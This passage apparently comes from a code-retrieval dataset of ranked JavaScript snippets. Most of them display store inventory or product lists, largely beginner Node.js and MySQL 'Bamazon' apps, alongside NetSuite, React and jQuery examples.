'Kit';\r\n\t\titemTypes[2] = 'NonInvtPart';\r\n\t\titemTypes[3] = 'OthCharge';\r\n\t\titemTypes[4] = 'Payment';\r\n\r\n\r\n\t\t//Adding filters \r\n\t\titemFilters[0] = new nlobjSearchFilter('isinactive',null, 'is','F');\t\t\t\t\t\t\t\t\t\t//filtering by active Items\r\n\t\titemFilters[1] = new nlobjSearchFilter('custitem_itemprice_lastupdated',null, 'notonorafter',dateLimit);\t//filtering by date limit\r\n\t\titemFilters[2] = new nlobjSearchFilter('type',null, 'anyof',itemTypes);\t\t\t\t\t\t\t\t\t\t//filtering by item type\tversion 1.0.1\r\n\r\n\t\t//Getting particular columns in item search results \r\n\t\titemColumns[0] = new nlobjSearchColumn('internalid');\t\t\t\t\t\t//Getting Item's Internal ID\r\n\t\titemColumns[1] = new nlobjSearchColumn('baseprice');\t\t\t\t\t\t//Getting Item's base price\r\n\t\titemColumns[2] = new nlobjSearchColumn('name');\t\t\t\t\t\t\t\t//Getting Item's name\r\n\t\titemColumns[3] = new nlobjSearchColumn('averagecost');\t\t\t\t\t\t//getting the average cost of the item\r\n\t\titemColumns[4] = new nlobjSearchColumn('custitem_volumetricweight');\t\t//getting volumetric weight\r\n\t\titemColumns[5] = new nlobjSearchColumn('custitem_kitpackavgcost');\t\t\t//getting average cost of the kit/pacckage\r\n\t\titemColumns[6] = new nlobjSearchColumn('custitem_dimension1');\t\t\t\t//getting Item's dimension1\r\n\t\titemColumns[7] = new nlobjSearchColumn('custitem_dimension2');\t\t\t\t//getting Item's dimension2\r\n\t\titemColumns[8] = new nlobjSearchColumn('custitem_dimension3');\t\t\t\t//getting Item's dimension3\r\n\r\n\t\t//Searching the items using filters and columns \r\n\t\titemRecords = nlapiSearchRecord('item', null, itemFilters, itemColumns);\t\t\r\n\r\n\t}\r\n\tcatch(e)\r\n\t{\r\n\t\terrorHandler(\"getItems : \" , e);\r\n\t} \r\n}", "title": "" }, { "docid": "d11115d55bcda98b81f9500f1e798ab5", "score": "0.62671673", "text": "function displayItems() {\n \n // build MySQL query string\n var queryString = 'SELECT * FROM ??'\n\n // query MySQL database\n connection.query(queryString, [\"products\"], function(err, res){\n if (err) {\n return console.log(\"There was an error \", err)\n } \n console.log(lineBreak + \"ITEMS FOR SALE\")\n\n // loop through response and format data for print\n res.forEach(function(element){\n var resPrint = element.item_id + \". \" + element.product_name + divider + \"Dept: \" + element.department_name + divider + \"Price: $\" + element.price + divider + \"In-stock: \" + element.stock_quantity\n console.log(resPrint)\n })\n\n console.log(lineBreak);\n selectItem();\n })\n}", "title": "" }, { "docid": "e09f348135ba421945d2f9b3a5c3749c", "score": "0.62293667", "text": "function viewProducts(){\n console.log(\"\\nView Every Avalailable Product in format:\");\n connection.query(\"SELECT * FROM products\", function(err, res) {\n if (err) throw err;\n console.log(\"'ItemID-->Product Description-->Department Name-->Price-->Product Quantity'\\n\");\n for (var i = 0; i < res.length; i++) {\n console.log(\"Item# \" + res[i].item_id + \"-->\" + res[i].product_name \n + \"-->\" + res[i].department_name + \"-->\" + res[i].price \n + \"-->\" + res[i].stock_quantity);\n }\n // console.table(\"\\nProducts Available:\",[\n // res\n // ])\n })\n setTimeout(function() { startManager(); }, 200);\n}", "title": "" }, { "docid": "5d9602f836462534791006a4ecc3eb41", "score": "0.6212315", "text": "get displayItems() {\n return this.stocks;\n }", "title": "" }, { "docid": "430890e0944b02ca61dee27629a2851b", "score": "0.6194366", "text": "getAllSalesList() {\n fetch(process.env.REACT_APP_API_URL+\"/sales\")\n .then(res => res.json())\n .then(\n result => {\n this.setState({\n isLoaded: true,\n salesList: result,\n });\n },\n error => {\n this.setState({\n isLoaded: true,\n error: error\n });\n }\n );\n }", "title": "" }, { "docid": "b23165868968deee68a2bdd43f289d30", "score": "0.61916894", "text": "function showItems() {\n connection.query( query , function (err, result, fields){\n if (err) throw err;\n for(i = 0; i < result.length; i++){\n console.log(\"\\n\" + colors.green(result[i].id) + \") \" + \"Item: \".yellow + result[i].product_name + \" |\".blue + \" Department: \".yellow + result[i].department + \" |\".blue + \" Price: \".yellow + \"$\"+ result[i].price + \" |\".blue + \" Stock: \".yellow + result[i].stock_qty + \"\\n------------------------------------\".blue);\n }\n })\n}", "title": "" }, { "docid": "5a4fdaa6ff2daab3885acf0858ad9349", "score": "0.617842", "text": "function showInventory() {\n connection.query('SELECT ItemID, ProductName, Price FROM products', function(err, rows, fields) {\n if (err) throw err;\n console.log('Available products:');\n for(var i = 0; i < rows.length; i++) {\n console.log('Item ID: ' + rows[i].ItemID + ' Product Name: ' + rows[i].ProductName + ' Price: $' + rows[i].Price);\n }\n runPrompt();\n });\n}", "title": "" }, { "docid": "e248b38c900be37fd5715c5f94653af5", "score": "0.6176218", "text": "function productsForSale (err, results) {\n if (err) {\n console.log(err)\n }\n console.table(results)\n mainMenu()\n}", "title": "" }, { "docid": "a2d76778d93e24ab23521a86c439a1d0", "score": "0.6173192", "text": "cartSaleItems(state){\n return state.cart.filter( item => {\n return (item.head.onSale || item.leftArm.onSale || item.torso.onSale || item.rightArm.onSale || item.base.onSale);\n })\n }", "title": "" }, { "docid": "c4f4e3d290d069babc58fda116c0462e", "score": "0.61728156", "text": "function showItems() {\n connection.query(\"SELECT item_id, product_name, price FROM products\", function (err, res) {\n if (err) throw err;\n console.table(res)\n // for (var i = 0; i < res.length; i++) {\n // console.log(\"Item ID: \" + res[i].item_id + \"\\n\" + \"Product Name: \" + res[i].product_name + \"\\n\" + \"Price: \" + res[i].price + \"\\n-------------------------\");\n // }\n orderItemsPrompt();\n });\n}", "title": "" }, { "docid": "a7cce2f0416484a51954a3ac6b9feae3", "score": "0.61603266", "text": "function displayInventory() {\n\tconnection.query('SELECT * FROM products', function(err, res){\n\t\tif (err) throw err;\n console.log('=============================What would you like to buy?==============================');\n \n for(var i = 0; i<res.length;i++){\n console.log(\"ID: \" + res[i].item_id + \" | \" + \n \"Product: \" + res[i].product_name + \" | \" + \n \"Department: \" + res[i].department_name + \" | \" + \n \"Price: \" + res[i].price + \" | \" + \n \"QTY: \" + res[i].stock_quantity);\n console.log('======================================================================================'); \n };\n buyItem();\n });\n}", "title": "" }, { "docid": "61e6bd324e3aa01d318a8d833fae6dc4", "score": "0.6153007", "text": "function render_all(items, user) {\n\t$(\"#wddp-mu-cash\").text(\"You have \" + user.total_money + \" left in your account\");\n\titems = Object.values(items);\n\t$(\"#wddp-mu-items\").html(items.map((x)=>(x.render(\"store\"))).join(\"\"));\n}", "title": "" }, { "docid": "072e928d97a72a4eddf6b57f6a555bf2", "score": "0.6151193", "text": "function getAndDisplayBuyList() {\n getBuyList();\n console.log('getAndDisplayBuyList works');\n}", "title": "" }, { "docid": "a9544496a64b6068153af7c7d793fb1e", "score": "0.6148577", "text": "function readItems() {\n console.log(\"Getting Items for sale... \\n\");\n query = connection.query(\"Select * FROM products\", function (err, res) {\n if (err) {\n console.log(err);\n }\n console.log(\"<<<<<<<<< STORE >>>>>>>>>>>\");\n for (var i = 0; i < res.length; i++) {\n console.log(\n \"\\nID: \" +\n res[i].item_id +\n \" || ITEM: \" +\n res[i].product_name +\n \" || PRICE: \" +\n res[i].price\n )\n };\n shoppingCart();\n })\n}", "title": "" }, { "docid": "a8b9d99be3742f737c677095e42c6a06", "score": "0.6143931", "text": "function displayItems() {\n\tvar query = \"SELECT * FROM products\";\n\tconnection.query(query, (err,res) => {\n\t\tif (err) {console.log(err)};\n\t\tconsole.log(JSON.stringify(res));\n\t})\n}", "title": "" }, { "docid": "038a8801911d94600330c8f8a875a037", "score": "0.61277527", "text": "function viewProducts() {\n connection.query(\"SELECT item_id, product_name, price, stock_quantity FROM products\", function (err, res) {\n //error occurs\n if (err) {\n throw err;\n }\n\n console.table(\"\\nInventory\", res);\n returnToMenu();\n });\n}", "title": "" }, { "docid": "3e892ff00c7adfa4938dd03648cc4d72", "score": "0.6118829", "text": "function displayInventory() {\n connection.query(\"SELECT * FROM products\", function(err, res) {\n for (var i = 0; i < res.length; i++) {\n console.log(res[i].item_id + \" | \" + res[i].product_name + \" | \" + res[i].department_name + \" | \" + res[i].price + \" | \" + res[i].stock_quantity);\n }\n console.log(\"-----------------------------------\");\n });\n }", "title": "" }, { "docid": "3760ebb554b2d7c4b6d4c1cc9c3171df", "score": "0.6107115", "text": "function viewAll() {\n connection.query(\"SELECT * FROM products\", function (err, results) {\n if (err) throw err;\n for (let i = 0; i < results.length; i++) {\n console.log(\"Item \" + results[i].item_id + \"| Dept Name: \" + results[i].department_name + \"| Product Name: \" + results[i].product_name + \"| Price: \" + results[i].price + \"| In Stock: \" + results[i].stock_quantity);\n }\n connection.end();\n });\n}", "title": "" }, { "docid": "da4480fc0fbe10081de1433c68894af5", "score": "0.61005145", "text": "function displayProducts(){\n \n\tconnection.query(sql, function(err, data) {\n\t if (err) {\n\t console.log(err);\n\t }\n\n\t var items = '';\n\t\t\tfor (var i = 0; i < data.length; i++) {\n\t\t\t\titems = '';\n\t\t\t\titems += 'ID: ' + data[i].item_id + ' | ';\n\t\t\t\titems += 'Product: ' + data[i].product_name + ' | ';\n\t\t\t\titems += 'Dept: ' + data[i].department_name + ' | ';\n\t\t\t\titems += '$' + data[i].price + ' | ';\n\t\t\t\titems += 'Quantity: ' + data[i].stock_quantity;\n\t\t console.log(\"------------------------------------------------------------------------\");\n\t console.log(items);\n\t\t\t};\n\n\t\tpurchase();\n\n\t});\n\n}", "title": "" }, { "docid": "78df9eae5cfae3401798ac46f5417180", "score": "0.6084454", "text": "getAllItems() {\n return this.inventory.flattenInventory();\n }", "title": "" }, { "docid": "837c58e1be3a0684ed73ab3a60f6b29e", "score": "0.6077268", "text": "function viewProducts() {\n connection.query(\"SELECT * FROM products\", function(error, results) {\n if (error) throw error;\n console.log(\"AVAILABLE ITEMS:\");\n for (var i = 0; i < results.length; i++) {\n console.log(results[i].id + ' | ' + results[i].product_name + ' | ' + '$'+results[i].price + ' | ' + results[i].stock_quantity);\n }\n });\n connection.end();\n}", "title": "" }, { "docid": "3fbc44892771737b5033e99d26bfa2ed", "score": "0.6072451", "text": "function showInventory() {\n connection.query(\"SELECT * FROM products\", function (err, results) {\n if (err) throw err;\n console.table(results);\n selectItem();\n })\n}", "title": "" }, { "docid": "0f8475ebb95db3aea22f20846d77335e", "score": "0.60509014", "text": "function display () {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n if (err) throw err;\n console.log(\"Welcome to Bamazon! Here's what we have for sale:\")\n // for loop to loop through each item in the sql file for display\n for (var i=0; i < res.length; i++) {\n console.log(\"Item ID: \" + res[i].id + ' ' + res[i].product_name + ' $' + res[i].price);\n }\n purchase();\n })\n}", "title": "" }, { "docid": "cd661820a40f0ac18cffa44f9101b1a5", "score": "0.6050321", "text": "function viewAll() {\n connection.query('SELECT * FROM products', function(err, res) {\n // Sets up table for our raw data already populated within MYSQL Workbench\n var table = new Table({\n head: ['ID', 'Product Name', 'Department', 'Price', 'Stock Quantity']\n });\n\n // displays all current inventory in a fancy shmancy table thanks to cli-table package\n console.log(chalk.blue(\"CURRENT INVENTORY, HOT HOT HOT!!!\"));\n console.log(\"===========================================================================================\");\n for (var i = 0; i < res.length; i++) {\n table.push([res[i].id, res[i].product_name, res[i].department_name, res[i].price.toFixed(2), res[i].stock_quantity]);\n }\n console.log(\"-------------------------------------------------------------------------------------------\");\n console.log(table.toString());\n // call next function\n whatToBuy();\n })\n }", "title": "" }, { "docid": "8586f6544fdead69b77afbe4b52b425a", "score": "0.6044942", "text": "function showAllItemsCost() {\n\tshowCost(healthKitShopItemEl, healingCost);\n\tshowCost(improveMagazineShopItemEl, magazineIncreaseCost);\n\tshowCost(fasterReloadShopItemEl, decreaseReloadingTimeCost);\n\tshowCost(increasePowerUpDurationShopItemEl, powerUpDurationIncreaseCost);\n}", "title": "" }, { "docid": "3cb2ed25d714c25248b12222f64e3c22", "score": "0.6044735", "text": "function inventory() {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n displayForManager(res);\n purchasePrompt();\n });\n}", "title": "" }, { "docid": "df3dad762f45fe948d0f1b8f02da166d", "score": "0.60374576", "text": "function querySaleProducts() {\n\tinquirer\n\t.prompt({\n\t\tname: \"customer_name\",\n\t\ttype: \"input\",\n\t\tmessage: \"Dear Customer, please enter your name.\"\n\t})\n\t.then(function(answer) {\n\t\tconsole.log(\"Welcome to Bamazon, \" + answer.customer_name + \":) Here is our special sales for you!\");\n\n\t\tvar query = \"SELECT * FROM products WHERE stock_quantity <> 0\";\n\n\t\tconnection.query(query, function(err, res) {\n\t\t\n\t\tfor (var i = 0; i < res.length; i++) {\n\t\t\tconsole.log(\"Item ID: \" + res[i].item_id + \" | \" + res[i].department_name + \": \" + res[i].product_name + \" for $\" + numberWithCommas(res[i].price));\n\t\t}\n\n\t\tqueryOrder();\n\t\t});\t\n\t});\n}", "title": "" }, { "docid": "0713305274654817cb338ba86e9b8702", "score": "0.60359204", "text": "function productsForSale() {\n\tvar query = \"SELECT * FROM products HAVING stock_quantity > 0\";\n\tconnection.query(query, function(err, res){\n\t\tfor (var i = 0; i < res.length; i++) {\n\t\t\tconsole.log(res[i].item_id + \" | \" + res[i].product_name + \" | \" + res[i].price + \" | \" + res[i].stock_quantity);\n\t\t\tconsole.log(\"-----------------------------\");\n\t\t}\n\trunSearch();\n\t});\n}", "title": "" }, { "docid": "d5a26292c1cb890c5323b0c532483ea5", "score": "0.6028826", "text": "function displayItems() {\n console.log(\"\\n Hello! Welcome to Bamazon! Below are some of our products available for purchase.\\n\");\n connection.query(\"SELECT * FROM products\", function (err, res) {\n if (err) \n throw err;\n \n for (var i = 0; i < res.length; i++) {\n console.log(\"\\n\", \"Product ID: \" + res[i].item_id + \"\\n\", \"Product Name: \" + res[i].product_name + \"\\n\", \"Product Price: $ \" + res[i].price + \"\\n\",)\n }\n console.log(\"----------------------------------------------------\");\n // console.log(res);\n });\n customerInquiryAlert();\n}", "title": "" }, { "docid": "486c198c9b116b1202e9625c2b81ed61", "score": "0.60218877", "text": "function displayItems(items, store, prices) {\n\tvar xhttp = new XMLHttpRequest();\n\txhttp.open(\"GET\", \"ItemsHelper.jsp?items=\"+items+\"&store=\"+store+\"&prices=\"+prices, false);\n\txhttp.send();\n\tif (xhttp.responseText.trim().length > 0) {\n\t\tdocument.getElementById(\"itemsList\").innerHTML = xhttp.responseText;\n\t}\n}", "title": "" }, { "docid": "9bbdb3bc80c39a892bca101b5693a046", "score": "0.602087", "text": "function displayInventory() {\n\tqueryStr = 'SELECT * FROM bamazondb.products';\n\tconnection.query(queryStr, function(err, data) {\n\t\tif(err) throw err;\n\n\t\tconsole.log(\"Current Inventory: \");\n\t\tconsole.log(\"...........................................................................................................\\n\");\n\n\t\tvar strOut = '';\n\t\tfor (var i = 0; i < data.length; i++) {\n\t\t\tstrOut = '';\n\t\t\tstrOut = 'Item ID: ' + data[i].item_id + ' // ';\n\t\t\tstrOut += 'Product Name: ' + data[i].product_name + ' // ';\n\t\t\tstrOut += 'Department: ' + data[i].department_name + ' // ';\n\t\t\tstrOut += 'Price: $' + data[i].customer_price + ' // ';\n\t\t\tstrOut += 'Quantity: ' + data[i].stock_quantity + '\\n';\n\n\t\t\tconsole.log(strOut);\n\t\t}\n\n\t\tconsole.log(\"-----------------------------------------------------------------------------------------------------------\\n\");\n\t\tpromptUserPurchase();\n\t})\n}", "title": "" }, { "docid": "a696fcbd08ba5cbfca855c978357ea9b", "score": "0.6014806", "text": "function displaySaleItems() {\n var query = \"SELECT p.item_id AS Product_ID, p.product_name AS Item_Name, p.price AS Sale_Price FROM products p;\";\n connection.query(query, function (err, res) {\n if (err) throw err;\n var productList = [];\n var productData = {};\n for (var i = 0; i < res.length; i++) {\n productData = { Product_ID: res[i].Product_ID, Item_Name: res[i].Item_Name, Sale_Price: res[i].Sale_Price };\n productList.push(productData);\n }\n console.log(\"\\r\\n***** PRODUCT LIST *****\\r\\n\")\n console.table(productList, \"\\r\\n\");\n purchaseItems();\n })\n}", "title": "" }, { "docid": "c9de23975af9d60b2535e9be524a9409", "score": "0.601276", "text": "function displayInventory() {\n\t// console.log('___ENTER displayInventory___');\n\n\t// Construct the db query string\n\tqueryStr = 'SELECT * FROM products';\n\n\t// Make the db query\n\tconnection.query(queryStr, function(err, data) {\n\t\tif (err) throw err;\n\n\t\tconsole.log('Existing Inventory: ');\n\t\tconsole.log('...................\\n');\n\n\t\tvar strOut = '';\n\t\tfor (var i = 0; i < data.length; i++) {\n\t\t\tstrOut = '';\n\t\t\tstrOut += 'Item ID: ' + data[i].item_id + ' // ';\n\t\t\tstrOut += 'Product Name: ' + data[i].product_name + ' // ';\n\t\t\tstrOut += 'Department: ' + data[i].department_name + ' // ';\n\t\t\tstrOut += 'Price: $' + data[i].price + '\\n';\n\n\t\t\tconsole.log(strOut);\n\t\t}\n\n\t \tconsole.log(\"---------------------------------------------------------------------\\n\");\n\n\t \t//Prompt the user for item/quantity they would like to purchase\n\t \tpromptUserPurchase();\n\t})\n}", "title": "" }, { "docid": "e1efd7d7933d29d1c55fde13f669eb50", "score": "0.60102457", "text": "function getAllItems() {\n projectMethods.getAllProjectItems().then(function( items ){\n self.selectItems = items;\n calculateGrandTotal();\n });\n }", "title": "" }, { "docid": "06df22c4e52da32a8b0e9517c793fe8a", "score": "0.5999528", "text": "function displayProducts() {\n console.log(\"\\nShowing current inventory...\\n\".info);\n connection.query(\n \"SELECT * FROM products\", \n (err, res) => {\n if (err) throw err;\n console.table(res);\n promptManager();\n }\n )\n}", "title": "" }, { "docid": "2223a1f45f23c5899b09d867c29ebcfc", "score": "0.59943557", "text": "function ShowItems() {\n for (let book of Books) {\n makeBookItem(book).appendTo(\"#AllBooks\");\n }\n }", "title": "" }, { "docid": "1cfb20893da9bb755f500177a0f5fb43", "score": "0.5986058", "text": "function getItems() {\n return httpService.get(\"api/putaway/getitems\",\n {\n WarehouseCode: vm.warehouseCode,\n SupplierCode: vm.supplierCode\n })\n .then(function (items) {\n vm.itemList.splice(0,vm.itemList.length);\n items.forEach(item => {\n item.IsSelected = (item.IsSelected == 1 ? true : false);\n vm.itemList.push(item);\n });\n });\n }", "title": "" }, { "docid": "9cc354a46e5bc3c6687aceee3641a465", "score": "0.5979365", "text": "function viewProductsForSale(callback) {\n // Query DB\n connection.query(`SELECT id,\n product_name, \n department_name, \n price,\n stock_quantity\n FROM products`, function (error, results, fields) {\n if (error) throw error;\n\n // Display results\n console.log();\n console.table(results);\n\n if (callback) {\n callback();\n }\n });\n}", "title": "" }, { "docid": "32b45b113b021853edfd8edbb9d17667", "score": "0.59742224", "text": "async function fetchAllItems() {\n clearElements();\n setSubHeader(\"All items in storage\");\n\n const response = await fetch(\"/api/shoes\");\n const items = await response.json();\n\n if (response.ok) {\n for (const item of items) {\n createListItem(item);\n }\n } else {\n setSubHeader(\"\");\n createErrorItem(items);\n }\n}", "title": "" }, { "docid": "ed5a8e6b9b09b920347e8be3881293aa", "score": "0.5959119", "text": "function dispAll() {\n\n // create a new formatted cli-table\n var table = new Table({\n head: [\"ID\", \"Name\", \"Department\", \"Price\", \"Qty Available\"],\n colWidths: [8, 40, 22, 12, 12]\n });\n\n // get the data to load the product table, load it and show it\n connection.query(\"SELECT item_id, product_name, department_name, price, stock_quantity FROM products LEFT JOIN departments on products.department_id = departments.department_id ORDER BY department_name, product_name;\", function (err, rows, fields) {\n\n if (err) throw err;\n\n console.log(\"\\n--- Bamazon Product Catalog ---\");\n\n for (var i = 0; i < rows.length; i++) {\n table.push([rows[i].item_id, rows[i].product_name, rows[i].department_name, rows[i].price, rows[i].stock_quantity]);\n }\n\n console.log(table.toString());\n\n // go to the actual purchasing part of the app\n buyProduct();\n\n });\n\n}", "title": "" }, { "docid": "a8a9e93bcc63f348be8b3ce45cd9b8f3", "score": "0.5951642", "text": "function showProducts(){\n\tconnection.query('SELECT * FROM products', function(err, res){\n\t\tif (err) throw err;\n\t\tconsole.log('=================================================');\n\t\tconsole.log('=================Items in Store==================');\n\t\tconsole.log('=================================================');\n\n\t\tfor(i=0; i<res.length; i++){\n\t\t\tconsole.log('Item ID:' + res[i].item_id + ' Product Name: ' + res[i].product_name + ' Price: ' + '$' + res[i].price + '(Quantity left: ' + res[i].stock_quantity + ')')\n\t\t}\n\t\tconsole.log('=================================================');\n\t\tstartOrder();\n\t\t})\n}", "title": "" }, { "docid": "3ea825b82f9e87ca6c6287d6bb5d62c9", "score": "0.59435636", "text": "getAllItemsfromSites(db) {\n return db\n .from(\"inventory\")\n .select(\n \"site_id\",\n \"item_name\",\n \"ideal_amount\",\n \"current_amount\",\n \"critical_amount\"\n );\n }", "title": "" }, { "docid": "832d0bfe913df4c0f34e0e6624b37b81", "score": "0.59427655", "text": "function getItemsAvailable() {\n ctrl.animeitems = undefined;\n if (ctrl.filterConfig.ongoingList === true) {\n ctrl.filterConfig.search.onHold = false;\n ctrl.filterConfig.search.status = '';\n getAnime(0);\n } else {\n ctrl.filterConfig.search.onHold = '';\n ctrl.filterConfig.search.status = false;\n getAnime(1);\n }\n }", "title": "" }, { "docid": "a1e274ef8763f895de6771e448e21b68", "score": "0.59372884", "text": "function viewProducts() {\n connection.query(\"SELECT * FROM products\", function(err, results) {\n if (err) throw err;\n console.log(\"\\n\" + colors.yellow(\"---------------------PRODUCTS FOR SALE---------------------\") + \"\\n\");\n var table = new cliTable({ head: [\"ID\", \"Item\", \"Price\", \"Quantity\"] });\n for (var i = 0; i < results.length; i++) {\n table.push([results[i].id, results[i].productName, results[i].price, results[i].stockQuantity]);\n }\n console.log(table.toString() + \"\\n\");\n actionPrompt();\n });\n}", "title": "" }, { "docid": "886c08f177c4c474a81145c368035f4f", "score": "0.59253913", "text": "function showItems() {\n\n}", "title": "" }, { "docid": "f62b4fd3811bf588a64df2eead5a3486", "score": "0.59248966", "text": "function inventory() {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n if (err) throw err;\n //organizes the collumns i wish to display for each item\n for (var i = 0; i < res.length; i++) {\n console.log(`ID: ${res[i].id} || Name: ${res[i].product_name} || Department: ${res[i].department_name} || Price: $${res[i].price}`)\n }\n shopping();\n })\n}", "title": "" }, { "docid": "9385a3c078f52b4e02a913e99c30fd2e", "score": "0.5920701", "text": "function showoutofstockitemsrows(){\n\t\n}", "title": "" }, { "docid": "007dbc0595f23801571ecea0e3e8af0a", "score": "0.5916559", "text": "function inventory(){\n connection.query(\"SELECT * FROM products\", function(err, res){\n if (err) throw err;\n res.forEach(function(item){\n console.log(`Item Name: ${item.product_name} \\n Department: ${item.department_name} \\n Price: ${item.price} \\n Quantity: ${item.stock_quantity}`);\n console.log(\"----------------------------------------------------\")\n })\n returntoMenu();\n });\n}", "title": "" }, { "docid": "c15ea4299520c3fa2523dbd378f219fd", "score": "0.591458", "text": "function main(){\n // Display the products available for purchase\n getProducts()\n \n }", "title": "" }, { "docid": "92f5cab10028f9e2c2351d4f98cb84b7", "score": "0.5912008", "text": "function displayItems() {80\n connection.query(\"SELECT `item_id` as `Item ID`, `product_name` as `Product`, `price` as `Price` FROM `products`\", function (err, res) {\n if (err) throw err;\n\n console.log(\"\\n BAMAZON ITEMS FOR SALE\");\n console.log(\" ======================\\n\");\n\n console.table(res);\n // prompt customer\n inquirer.prompt([\n {\n name: \"choice\",\n type: \"rawlist\",\n message: \"What would you like to do?\",\n choices: [\"Purchase an Item\", \"Redisplay Items\" ,\"Quit\"]\n }]).then(function(answer) {\n if(answer.choice === \"Purchase an Item\")\n {\n queryCustomer();\n }\n else if(answer.choice === \"Redisplay Items\")\n {\n displayItems();\n }\n else{\n connection.end();\n }\n })\n\n\n });\n}", "title": "" }, { "docid": "ee824a0a09ad6fa6fc6687d0a5457571", "score": "0.59115016", "text": "function viewProducts() {\n clearConsole();\n connection.query(\"SELECT * FROM products\", function (err, response) {\n if (err) throw err;\n displayInventory(response);\n userOptions();\n })\n}", "title": "" }, { "docid": "d63e73e539d3b41f6bbddcc5e35c67f8", "score": "0.59042466", "text": "function viewProducts() {\n\tconnection.query(\"SELECT * FROM products\", function(err, res) {\n\t\tif(err) {\n\t\t\tthrow err\n\t\t};\n\t\tfor (var i =0; i < res.length; i++) {\n\t\t\tconsole.log(\"SKU: \" + res[i].item_id + \" | Product: \" + res[i].product_name \n\t\t\t\t+ \" | Price: \" + \"$\" + res[i].price + \" | Inventory: \" + res[i].stock_quantity)\n\t\t}\n\t\t// connection.end();\n\t\trunQuery();\n\t});\n}", "title": "" }, { "docid": "3091f80c7d0eb05014fae19fc5310f99", "score": "0.5896136", "text": "function doShowAll() {\n\tif (CheckBrowser()) {\n\t\tvar key = \"\";\n\t\tvar list = \"<tr><th>Item</th><th>Value</th></tr>\\n\";\n\t\tvar i = 0;\n\t\t//for more advance feature, you can set cap on max items in the cart\n\t\tfor (i = 0; i <= localStorage.length-1; i++) {\n\t\t\tkey = localStorage.key(i);\n\t\t\tlist += \"<tr><td>\" + key + \"</td>\\n<td>\"\n\t\t\t\t\t+ localStorage.getItem(key) + \"</td></tr>\\n\";\n\t\t}\n\t\t//if no item exists in the cart\n\t\tif (list == \"<tr><th>Item</th><th>Value</th></tr>\\n\") {\n\t\t\tlist += \"<tr><td><i>empty</i></td>\\n<td><i>empty</i></td></tr>\\n\";\n\t\t}\n\t\t//bind the data to html table\n\t\t//you can use jQuery too....\n\t\tdocument.getElementById('list').innerHTML = list;\n\t} else {\n\t\talert('Cannot save shopping list as your browser does not support HTML 5');\n\t}\n}", "title": "" }, { "docid": "e245937ece95d498a528abcdeabc90e9", "score": "0.5879024", "text": "function getItems() {\n console.log(\"\\ngetItems clicked\");\n this_contract.getItemCount.call().then(function(value) {\n console.log(\"Number of items in store: \" + value.valueOf());\n var itemCount = value.valueOf();\n if (itemCount != 0) {\n for (var i = 0; i < itemCount; i++) {\n console.log(\"Item: \" + i);\n this_contract.getItem.call(i).then(function(value) {\n console.log(value);\n });\n }\n }\n else { console.log(\"Store is empty\"); }\n }).catch(function(e) {\n console.log(e);\n });\n}", "title": "" }, { "docid": "bb06114d19493c2a6fc1f31c0411f7e7", "score": "0.586691", "text": "function loadItems() {\n $itemList.empty();\n\n SDK.Items.getItems((err, items) => {\n if (err) throw err;\n\n\n items.forEach((item) => {\n\n //Sort items to a specific type\n if (item.itemType === type) {\n\n\n const itemHtml = `\n <div class=\"col-lg-4 item-container\">\n <div class=\"panel panel-default\">\n <div class=\"panel-heading\">\n <h3 class=\"panel-title\">${item.itemName}</h3>\n </div>\n <div class=\"panel-body\">\n <div class=\"col-lg-8\">\n <dl>\n <dt>Description</dt>\n <dd>${item.itemDescription}</dd>\n </dl>\n </div>\n </div>\n <div class=\"panel-footer\">\n <div class=\"row\">\n <div class=\"col-lg-4 price-label\">\n <p>Kr. <span class=\"price-amount\">${item.itemPrice}</span></p>\n </div>\n <div class=\"col-lg-8 text-right\">\n <button class=\"btn btn-success purchase-button\" data-item-id=\"${item.itemId}\">Add to basket</button>\n </div>\n </div>\n </div>\n </div>\n </div>\n \n `;\n\n $itemList.append(itemHtml);\n\n }\n });\n //Function to add items to basket\n $(\".purchase-button\").click(function () {\n const itemId = $(this).data(\"item-id\");\n const item = items.find((item) => item.itemId === itemId);\n SDK.Items.addToBasket(item);\n $(\"#purchase-modal\").modal(\"toggle\");\n });\n\n\n });\n }", "title": "" }, { "docid": "1fb5e2e64be34211c1690ba1c2552a50", "score": "0.58586454", "text": "function itemDisplay() {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n if (err) throw err;\n //Obligatory welcome message\n console.log(\"-------------------------------------------------------\")\n console.log(\"Welcome to Bamazon! The originally-named, totally unique online store!\")\n //Loop through each item in the products table\n for (var i = 0; i < res.length; i++) {\n console.log(\"-------------------------------------------------------\")\n console.log(\"Product name: \" + res[i].product_name);\n console.log(\"Department: \" + res[i].department_name);\n console.log(\"Price: $\" + res[i].price);\n console.log(\"Product ID: \" + res[i].item_id);\n if (res[i].stock_quantity < 10) {\n console.log(\"Less than 10 remaining!\")\n }\n }\n\n selectItem();\n });\n}", "title": "" }, { "docid": "f60c9536ac1229bd1d0a2a68045a7fa9", "score": "0.5848481", "text": "function viewProducts() {\n console.log('Here is the current inventory: ');\n var table = new Table({\n head: ['Item ID', 'Product Name', 'Price', 'Quantity']\n });\n connection.query(\"SELECT * FROM products\", function (err, res) {\n for (let i = 0; i < res.length; i++) {\n table.push(\n [res[i].item_id, res[i].product_name, res[i].price, res[i].stock_quantity]\n );\n }\n console.log(table.toString());\n console.log('\\n*******************');\n managerOptions();\n })\n}", "title": "" }, { "docid": "ad493e74158e66775cd4d97487522afc", "score": "0.5846638", "text": "function getLicenses() {\n console.log(\"google.payments.inapp.getPurchases\");\n statusDiv.text(\"Retreiving list of purchased products...\");\n google.payments.inapp.getPurchases({\n 'parameters': {env: \"prod\"},\n 'success': onLicenseUpdate,\n 'failure': onLicenseUpdateFailed\n });\n}", "title": "" }, { "docid": "408662807e8c8228438581fda0ed091e", "score": "0.58462554", "text": "function displayItems() {\n\n // OPEN: Connect to products table to display items\n connection.query(\"SELECT * FROM products\", function(err, results) {\n if (err) throw err;\n\n // OPEN: Loop to display items\n for (var i = 0; i < results.length; i++) {\n\n displayItemTable.push(\n [results[i].item_id, results[i].product_name, results[i].price ]\n );\n\n } // CLOSE: Loop to display items\n\n console.log(displayItemTable.toString());\n confirmToOrder();\n\n }); // CLOSE: Connect to products table to display items\n\n} // CLOSE: Function to display items", "title": "" }, { "docid": "88e27593aa3f44840e8c37c9b48a31c1", "score": "0.5843432", "text": "function dispAll() {\n\n // create a new formatted cli-table\n var table = new Table({\n head: [\"ID\", \"Name\", \"Department\", \"Price\", \"Qty Available\"],\n colWidths: [8, 40, 22, 12, 12]\n });\n\n // get the data to load the 